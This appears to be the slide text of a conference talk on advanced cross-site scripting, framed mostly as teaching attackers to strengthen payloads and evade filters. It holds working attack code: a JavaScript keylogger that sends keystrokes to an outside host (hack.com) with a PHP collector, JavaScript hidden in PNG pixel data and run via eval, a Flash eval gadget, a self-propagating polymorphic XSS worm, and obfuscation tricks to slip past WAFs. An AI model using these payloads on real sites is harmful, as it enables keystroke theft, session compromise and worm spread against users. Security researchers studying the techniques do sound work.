



XSS Reloaded

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CTO



Once upon a time...



There was a browser and a cookie with authentication data

There was a web application reflecting inbound data

There was a piece of JS code designed to steal cookies

There was a bad guy who had the nice guy click on something with the **code**

The code was reflected by the **vulnerable app** to the browser

The code was executed and **the cookie** was stolen

The bad guy was granted access to the application

IT WAS THE BEGINNING OF AN ERA OF TERROR

That was a long time ago



The IT security knights fought the evil



Cookies no longer contain
sensitive values
Cookies are encrypted
Sessions are handled from
the server side

We are safe again

“They got married and lived happily ever after”

What happened since ?



- **XSS Technology fundamentals evolved**
 - JavaScript gets more powerful
 - HTML5 arises
 - JSON breakthrough
- **Attackers get smarter**
 - Even more evasion techniques
 - Leverage each and every innovation
- **And you still feel safe...**
 - I don't trust cookies [laughter]
 - I rely on browser security controls [laughter]


In other words



2000

2007

2014



Evil



Good



What we will learn today



- **How to empower XSS attacks?**
 - Exploiting DOM & BOM can be so much fun!
 - HTML5 public code delights your hacking nights
- **How to subtly convey malicious code?**
 - Bypass those annoying filters.
 - Generate different code every time.
- **How to avoid detection?**
 - Still a bunch of new stuff to laugh at your regexp-based WAF...



Empowering JavaScript





Having JavaScript do more than stealing cookies




Exploitation into the Core of the browser

DOM & BOM




- **DOM: Document Object Model**

- Items of the web page are objects in the DOM
- Inner content can be manipulated via JavaScript



DOM & BOM

- **BOM: Browser Object Model**
 - Browser components data structure
 - The DOM is a subset of BOM



Fingerprinting with BOM



```
<script>
```

```
document.write('<P>'+navigator.appName+'</P>');  
document.write('<P>'+navigator.appVersion+'</P>');  
document.write('<P>'+navigator.platform+'</P>');  
document.write('<P>'+navigator.userAgent+'</P>');
```

Netscape
5.0 (Windows)
Win32
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.2) Gecko/20100101 Firefox/10.0.2

```
var plugins = navigator.plugins;  
var mimeTypes = navigator.mimeTypes
```

```
document.write('<P>');  
for (i=0;i<plugins.length;i++) {  
    var plugin = plugins[i];  
    document.write('<B>'+plugin.name+'</B><BR>');  
    document.write(plugin.filename+ ' - '+plugin.description+'<BR>');  
    for(j=0;j<plugin.length;j++) {  
        var mimetype = plugin[j];  
        document.write(mimetype.t  
        if(mimetype.description)  
            document.write(' : '+m  
        }  
        if(mimetype.suffixes) {  
            document.write(' - ext  
        }  
        document.write('<BR>');  
    }  
}
```

Java Deployment Toolkit 6.0.310.5

npdeployJava1.dll - NPRuntime Script Plug-in Library for Java(TM) Deploy
application/java-deployment-toolkit

Shockwave Flash

NPSWF32.dll - Shockwave Flash 11.1 r102
application/x-shockwave-flash : Adobe Flash movie - extensions: swf
application/futuresplash : FutureSplash movie - extensions: spl

NVIDIA 3D Vision

npnv3dv.dll - NVIDIA 3D Vision plugin for Mozilla browsers
image/jps : JPEG-based stereo image - extensions: jps
image/pns : PNG-based stereo image - extensions: pns
image/mpo : Multi-Picture Format image - extensions: mpo

```
document.write('</P>');  
</script>
```

Keylogging with BOM



```
<script language="javascript">
var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);
</script>
```

Collects keystrokes via `window.event`

Sends collected data every second through `IMG` (= no SOP...) to `keylogger.php`

```
<?php
if(!empty($_GET['c'])) {
  $f=fopen("log.txt","a");
  fwrite($f,$_GET['c']);
  fclose($f);
}
?>
```

Stores to `log.txt`



A standard to take over the browser

JS Featuring HTML5



- **Screenshots: html2canvas**
 - <http://html2canvas.hertzen.com/>

html2canvas

This script allows you to take "screenshots" of webpages or parts of it, directly on the users browser. The screenshot is based on the DOM and as such may not be 100% accurate to the real representation as it does not make an actual screenshot, but builds the screenshot based on the information available on the page.

[Learn more »](#)

Examples

Check out the different examples and tests available for html2canvas.

[View examples »](#)

Test console

Try html2canvas with our test console which allows you to load any url and create a screenshot of it.

[View details »](#)

Documentation

Having problems implementing html2canvas? Check out our documentation on how to use the script.

[Read documentation »](#)

JS Featuring HTML5



- **Distributed password cracking: Ravan**
 - <http://www.andlabs.org/tools/ravan.html>

The screenshot shows the RAVAN JavaScript Distributed Computing System (BETA) interface. At the top is a stylized logo of a head with circuitry. Below the logo is the text "RAVAN JavaScript Distributed Computing System (BETA)". There are two buttons: "Submit Hashes" and "Crack Hashes". Below these are input fields for "Hash:" and "Salt:". A "Charset:" field contains the string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#%&*()". There is a dropdown menu for "Algorithm:" set to "MD5", and radio buttons for "Add Salt:" with "After Hash" selected. A "Submit Hash" button is also present. At the bottom, there are links for "Show Advanced Options" and "Hide Submit Form".

JS Featuring HTML5



- **Persistent cookies: evercookies**
 - <http://samy.pl/evercookie/>

evercookie -- never forget.

`evercookie` is a javascript API available that produces extremely persistent cookies in a browser. Its goal is to identify a client even after they've removed standard cookies, Flash cookies (Local Shared Objects or LSOs), and others.

`evercookie` accomplishes this by storing the cookie data in several types of storage mechanisms that are available on the local browser. Additionally, if `evercookie` has found the user has removed any of the types of cookies in question, it recreates them using each mechanism available.

Specifically, when creating a new cookie, it uses the following storage mechanisms when available:

- Standard [HTTP Cookies](#)
- [Local Shared Objects](#) (Flash Cookies)
- Silverlight [Isolated Storage](#)
- Storing cookies in RGB values of auto-generated, force-cached PNGs using HTML5 Canvas tag to read pixels (cookies) back out
- Storing cookies in [Web History](#)
- Storing cookies in HTTP [ETags](#)
- Storing cookies in [Web cache](#)
- [window.name](#) caching
- Internet Explorer [userData](#) storage
- HTML5 [Session Storage](#)
- HTML5 [Local Storage](#)
- HTML5 [Global Storage](#)
- HTML5 [Database Storage](#) via SQLite

JS Featuring HTML5



- **Network scanning: JS-Recon**
 - <http://html2canvas.hertzen.com/>

JS-RECON

HTML5 based JavaScript Network Reconnaissance Tool

Port ScanningNetwork ScanningDiscover My Private IP

IP Address: Start Port: End Port:

Protocol : Cross Origin Requests WebSockets

Note:

- * Tuned to scan fast internal networks. Scanning public/slow networks would require retuning.
- * Works only on the versions of **FireFox, Chrome(recommended) and Safari** that support CrossOriginRequests/WebSockets
- * Currently works on **WINDOWS ONLY.**

JS Featuring HTML5



- **Network scanning**
- **Persistent cookies**
- **Distributed password cracking: Ravan**
- **Screenshots**

Available NOW at your nearest Web site...



Alternative Vectors





Finding new ways to convey XSS payloads

DOM-Based XSS



The magic of browser auto-compromise

DOM-Based XSS



- Aka Type-0 XSS
- Old... documented in 2005 by Amit Klein
- Misunderstood & not properly handled
- Vulnerable code contained into the page

NICE

Malicious code **NOT** sent to the server
Could be an issue in terms of filtering...

DOM-Based XSS Basics



Exploits JavaScript DOM manipulation routines in Web Pages

```
<HTML>
  <TITLE>Welcome!</TITLE>
  Hi
  <SCRIPT>
    document.write
      document.location.hash.substring(1,document.location.hash.length)
    );
  </SCRIPT>
  <BR>
  Welcome to our system
</HTML>
```

Write it to the document via the DOM

Get the URI fragment value

DOM-Based XSS Basics



The image illustrates a DOM-based XSS attack. It shows two browser windows. The top window displays the URL `127.0.0.1/secu/xss/dom-00.html#Renaud` and the page content `Hi Renaud` and `Welcome to our system`. The name `Renaud` is circled in blue. The bottom window shows the same URL but with a JavaScript payload `<script>alert('Gotcha')</script>` injected into the hash part of the URL, which is circled in red. This results in an alert dialog box with the text `Gotcha` and an `OK` button, also circled in red.

DOM XSS Sources & Sinks



- **Sources**

- Fragment (only fragments!) of URI
- Headers: cookies and referer
- Window names (but exploitation not so trivial)

- **Sinks** *Valid for all browsers*

- **Execution sinks**

- `eval()` `setTimeout()` `setInterval()` `script.src=`

- HTML Elements sinks

- `document.write/writeln` `.innerHTML`

- jQuery sinks

- `jQuery()` `jQuery.parseHTML()` `jQuery.globalEval()`
- `element.add/append/after/html/wrap/etc.`

JavaScript in PNG




A clean rootkit for further exploitation

JavaScript in PNG



- **Second order attack**
- **Hide JS Code into an image**



- **Used to subtly execute JS code**
- **But how ?**

JavaScript in PNG



Step 1

Encode Javascript into PNG 8 bits color depth image

```
xss.png
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 0 123456789ABCDEF
00: 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 PNG.....IHDR
10: 00 00 00 03 00 00 00 03 04 03 00 00 00 A4 06 A8 .....PLTEalert('
20: 8C 00 00 00 1B 50 4C 54 45 61 6C 65 72 74 28 27 .....Gotcha').....
30: 47 6F 74 63 68 61 27 29 00 00 00 00 00 00 00 00 .....}..B.....IDAT
40: 00 00 00 00 01 7D AF 42 00 00 00 11 49 44 41 54 .....c`T`0.`Ho.....
50: 08 99 63 60 54 60 30 09 60 48 6F 00 00 04 83 01 ..'c%.....IEND..B`
60: 8D 27 63 25 D1 00 00 00 00 49 45 4E 44 AE 42 60
70: 82
```

Indexed colors

True colors (compressed)

```
xss.png
Decode 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 0 123456789ABCDEF
00: 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 PNG.....IHDR
10: 00 00 00 03 00 00 00 03 08 02 00 00 00 D9 4A 22 .....J"
20: E8 00 00 00 1F 49 44 41 54 08 99 63 4E CC 49 79 .....IDAT..cN.Iu
30: B2 FB F6 8E 37 9A 45 F8 3B F3 DB DD 8C 37 6F 4E .....7.E.;...7oN
40: 64 80 03 00 AC 3E 08 FF 47 FB E1 3B 00 00 00 00 d.....>..G...;....
50: 49 45 4E 44 AE 42 60 82 IEND..B`
```

JavaScript in PNG



Step 2

Have some good-looking code load an image

```
function loadFile() {  
    var strFile = 'xss.png';  
    loadPNGData(strFile, eval(strData));  
}
```

```
var oImg = new Image();  
oImg.onload = function() {  
    var iWidth = this.offsetWidth;  
    var iHeight = this.offsetHeight;  
    oCtx.drawImage(this, 0, 0);  
    var oData = oCtx.getImageData(0, 0, iWidth, iHeight).data;  
    var a = [];  
    var h = [];  
    var len = oData.length;  
    var p = 1;  
    for(var i=0; i<len; i+=1) {  
        if(oData[i] > 0) {  
            var charDec = oData[i];  
            if (charDec != 255) {  
                a[++p] = String.fromCharCode(charDec);  
                h[p] = oData[i];  
            }  
        }  
    }  
    var strData = a.join("");  
    if(fncCallback) {  
        fncCallback(strData);  
    }  
    document.body.removeChild(oImg);  
}
```

JavaScript in PNG



Step 3

Trick the read function

```
function loadFile() {  
  var strFile = 'xss.png';  
  loadPNGData(strFile, eval(strData));  
}
```

Execute ...

Decode

```
var oImg = new Image();  
oImg.onload = function() {  
  var iWidth = this.offsetWidth;  
  var iHeight = this.offsetHeight;  
  oCtx.drawImage(this, 0, 0);  
  var oData = oCtx.getImageData(0, 0, iWidth, iHeight).data;  
  var a = [];  
  var h = [];  
  var len = oData.length;  
  var p = 1;  
  for(var i=0; i<len; i+=1) {  
    if(oData[i] > 0) {  
      var charDec = oData[i];  
      if (charDec != 255) {  
        a[++p] = String.fromCharCode(charDec);  
        h[p] = oData[i];  
      }  
    }  
  }  
  var strData = a.join("");  
  if (fncCallback) {  
    fncCallback(strData);  
  }  
  document.body.removeChild(oImg);  
}
```

JavaScript in Flash



New place and vector for your JS code

JavaScript in Flash



- **All-in-one AS3 function**
- **4 lines code**

```
ExternalInterface.call()
```

```
import flash.net.*;

var param:Object = root.loaderInfo.parameters;
var cmd:String = param["c"];

flash.external.ExternalInterface.call("eval", cmd);
```

Get command "cmd" from parameter "c"

Execute "cmd"

- **Inline call** `http://server/xss.swf?c=alert('Gotcha')`
- **Or through HTML Injection**

```
<embed code="http://server/xss.swf?c=alert('Gotcha')"  
allowscriptaccess=always>
```

Polymorphic JavaScript



A mutant JavaScript code not to be signed

Polymorphic JavaScript



- A piece of JavaScript Code

```
var inject_code = 'email='+variant+'&comments='+<script>'encoded'</script>';  
var request = new XMLHttpRequest();  
request.open('post', 'http://10.1.3.22/cgi-bin/badstore.cgi?action=doguestbook');  
  
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");  
request.setRequestHeader("Content-length", inject_code.length);  
request.setRequestHeader("Connection", "close");  
request.send(inject_code);
```

Encoded

Which propagates itself

Polymorphic JavaScript



- Rebuilt each time

IV used to encode JavaScript

Which will be decoded

Define an initialization vector

```
function encode(code) {  
    var key = Math.floor(Math.random() * 256);  
  
    var packed = startToken + 'var k=' + key + ';var a=[';  
  
    for (var i = 0; i < code.length; i++) {  
        packed += (code.charCodeAt(i) ^ key) + ',';  
    }  
  
    packed += '];var d=\'\';'  
    packed += 'for (var i=0;i<a.length;i++)'  
    packed += '{d+=String.fromCharCode(a[i]^k);}';  
  
    packed += 'eval(d);'  
    packed += endToken;  
  
    return packed;  
}
```

Then executed

Polymorphic JavaScript



- **Upon execution**

```
var code = findSelf(document.body.innerHTML);  
  
if (code.indexOf('var k=') == 0) {  
  code = decode(code);  
}  
  
var encoded = encode(code);
```

Finds itself in the page

Decodes itself (again !)

Re-encodes itself

```
var inject_code = 'email='+variant+'&comments='+<script>'+encoded+'</script>;  
var request = new XMLHttpRequest();  
  
request.open('post', 'http://10.1.3.22/cgi-bin/badstore.cgi?action=doguestbook');  
  
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");  
request.setRequestHeader("Content-length", inject_code.length);  
request.setRequestHeader("Connection", "close");  
  
request.send(inject_code);
```

To propagate



Obfuscating JavaScript





**New tricks
not to get blocked
by security stuff**

Evading filters detection



eval () is used in most powerful XSS exploits

Type-0 most obvious sink

Polymorph XSS decoding routine

PNG code execution

Stringified code to execute

If you block eval ()

If you escape eval () filtering

you have 50% of the job done...

Hidding eval()



JS provides many ways to play with strings

So let's escape `eval` as a string

`eval`



```
atob('ZXZhbA==')
```



Base64 encoding

```
String.fromCharCode(101,118,97,108)
```

```
490837..toString(1<<5)
```



Base 32 conversion



Decimal to ASCII

Hidding eval()



And call a function from a string

```
var fn=window[<function_name>];  
fn(<function_parameters>);
```

ALL IN ALL

```
var fn=window[490837..toString(1<<5)];  
fn(atob('YWxlcuQoMSk='));
```

eval

alert(1)

The Rock'n Roll Circus



Problem 1: They filter payload size !

Shorten your code

```
window[490837..toString(1<<5)](atob('YWxlcuQoMSk='))
```

Problem 2: They signed /window/ !

Use this

```
this[490837..toString(1<<5)](atob('YWxlcuQoMSk='))
```

Problem 3: They signed JavaScript functions!

Use non-alphanumeric code

```
this[490837..toString(1<<5)](atob('YWxlcuQoMSk='))
```

```
this[(+{}+[]) [+!![]]+(![]+[]) [!+[]+!![]]+([[] [+[]]+[  
]) [!+[]+!![]+!![]]+(!![]+[]) [+!![]]+(!![]+[]) [+[]]  
(++[[]] [+[]])
```

Playing with RegExp



Everything stands in the replace function

```
'<string>'.replace(/<pattern>/,<replacement_pattern> )
```

```
'<string>'.replace(/<pattern>/,function($1) { <code> } )
```

Let's evade alert (1)

```
'string'.replace(/1/,alert) = alert(1)
```

```
'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval) = eval(alert(1))
```

```
'<string>'.replace(/<pattern>/,function(match,$1,$2) { <code> } )
```

```
'all2e3r4t6'.replace(/(.)(.)(.)(.)(.)(.)/,  
function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); } )
```

Food for thought



- **Encoding can still be useful**

Split it !

```
eval('\u0061'+alert(1))
```

Find unsuspected sources

```
location='javascript:%61alert(1)'
```

- **JS Object evaluation is cool !**

Some functions need to evaluate objects value **BEFORE** operations

Exemple `delete alert(1)` → run alert(1) first then “delete” it

Also works with throw & typeof `throw~delete~typeof~alert(1)`

Can be useful for stringified function names ... `delete[a=alert]/delete a(1)`

`delete[a=this[atob('YWxlcuQ=')]]/delete a(1)`



Conclusion



Conclusion



JavaScript gets more and more powerful

So does XSS

XSS are found in unexpected vectors

Once you are p0wned you are toasted

There are still new evasion techniques

Making your good old filters useless

IT Survival Guide



Old times of chivalry are gone
Time to consider new security concepts

Identify the nature of content

Who cares what this code does?

This is JavaScript, and it must be stripped out

Bring agility to your IT Security

One set of rule cannot suite all applications

Security must be designed to perfectly suite the protected application

KNOW WHAT YOU ARE DOING

It Works !





Questions & Answers

